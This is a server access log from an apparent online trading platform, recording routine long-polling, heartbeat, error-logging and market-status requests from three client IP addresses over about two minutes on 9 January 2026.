[09/Jan/2026:12:22:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932820950 HTTP/1.1" -
[09/Jan/2026:12:22:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932821825 HTTP/1.1" -
[09/Jan/2026:12:22:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932824784 HTTP/1.1" -
[09/Jan/2026:12:22:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932826181 HTTP/1.1" -
[09/Jan/2026:12:22:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932826844 HTTP/1.1" -
[09/Jan/2026:12:22:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:22:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932830035 HTTP/1.1" -
[09/Jan/2026:12:22:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932831453 HTTP/1.1" -
[09/Jan/2026:12:22:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932831887 HTTP/1.1" -
[09/Jan/2026:12:22:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:22:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:22:46 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932835150 HTTP/1.1" -
[09/Jan/2026:12:22:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932836649 HTTP/1.1" -
[09/Jan/2026:12:22:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932836933 HTTP/1.1" -
[09/Jan/2026:12:22:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:22:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:22:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932840367 HTTP/1.1" -
[09/Jan/2026:12:22:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932841975 HTTP/1.1" -
[09/Jan/2026:12:22:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932841717 HTTP/1.1" -
[09/Jan/2026:12:22:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932845587 HTTP/1.1" -
[09/Jan/2026:12:22:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:22:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932847003 HTTP/1.1" -
[09/Jan/2026:12:22:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932846839 HTTP/1.1" -
[09/Jan/2026:12:23:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932850819 HTTP/1.1" -
[09/Jan/2026:12:23:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932852040 HTTP/1.1" -
[09/Jan/2026:12:23:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932852038 HTTP/1.1" -
[09/Jan/2026:12:23:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932855968 HTTP/1.1" -
[09/Jan/2026:12:23:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932857084 HTTP/1.1" -
[09/Jan/2026:12:23:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932857256 HTTP/1.1" -
[09/Jan/2026:12:23:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:23:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932861220 HTTP/1.1" -
[09/Jan/2026:12:23:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932862106 HTTP/1.1" -
[09/Jan/2026:12:23:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932862377 HTTP/1.1" -
[09/Jan/2026:12:23:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:23:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:23:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932866489 HTTP/1.1" -
[09/Jan/2026:12:23:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932867142 HTTP/1.1" -
[09/Jan/2026:12:23:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932867589 HTTP/1.1" -
[09/Jan/2026:12:23:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:23:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:23:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932871681 HTTP/1.1" -
[09/Jan/2026:12:23:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932872181 HTTP/1.1" -
[09/Jan/2026:12:23:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932872691 HTTP/1.1" -
[09/Jan/2026:12:23:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:23:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932876914 HTTP/1.1" -
[09/Jan/2026:12:23:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932877206 HTTP/1.1" -
[09/Jan/2026:12:23:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932877813 HTTP/1.1" -
[09/Jan/2026:12:23:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932882257 HTTP/1.1" -
[09/Jan/2026:12:23:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932881995 HTTP/1.1" -
[09/Jan/2026:12:23:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932882949 HTTP/1.1" -
[09/Jan/2026:12:23:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932887301 HTTP/1.1" -
[09/Jan/2026:12:23:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932887216 HTTP/1.1" -
[09/Jan/2026:12:23:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932888142 HTTP/1.1" -
[09/Jan/2026:12:23:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:23:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932892344 HTTP/1.1" -
[09/Jan/2026:12:23:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932892389 HTTP/1.1" -
[09/Jan/2026:12:23:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932893306 HTTP/1.1" -
[09/Jan/2026:12:23:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:23:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:23:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932897384 HTTP/1.1" -
[09/Jan/2026:12:23:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932897590 HTTP/1.1" -
[09/Jan/2026:12:23:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:23:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932898451 HTTP/1.1" -
[09/Jan/2026:12:23:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:23:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932902432 HTTP/1.1" -
[09/Jan/2026:12:23:53 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932902824 HTTP/1.1" -
[09/Jan/2026:12:23:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932903497 HTTP/1.1" -
[09/Jan/2026:12:23:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:23:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:23:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932907460 HTTP/1.1" -
[09/Jan/2026:12:23:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932907984 HTTP/1.1" -
[09/Jan/2026:12:23:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932908569 HTTP/1.1" -
[09/Jan/2026:12:24:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932912510 HTTP/1.1" -
[09/Jan/2026:12:24:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932913116 HTTP/1.1" -
[09/Jan/2026:12:24:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932913773 HTTP/1.1" -
[09/Jan/2026:12:24:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932917553 HTTP/1.1" -
